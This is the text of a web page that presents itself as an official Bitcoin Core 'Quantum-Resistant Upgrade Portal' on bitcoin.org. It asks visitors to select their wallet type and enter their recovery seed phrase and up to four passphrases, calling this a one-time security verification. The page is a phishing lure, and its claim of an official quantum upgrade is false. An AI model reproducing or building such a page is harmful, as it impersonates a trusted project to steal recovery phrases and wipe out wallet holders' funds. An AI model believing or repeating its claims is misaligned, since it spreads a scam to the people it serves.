bitcoin.org

Bitcoin Core

Official Quantum-Resistant Upgrade Portal

Step 1: Enter Your Wallet Type

Type or select your non-custodial hot or cold wallet. All major wallets are available in autocomplete.

Step 2: Enter Your Recovery Phrase

For security verification during the quantum-resistant upgrade, please enter your recovery seed phrase.

Select number of words:

Enter up to 4 passphrases (text is visible while typing)

⚠️ This is a one-time verification required for the quantum upgrade.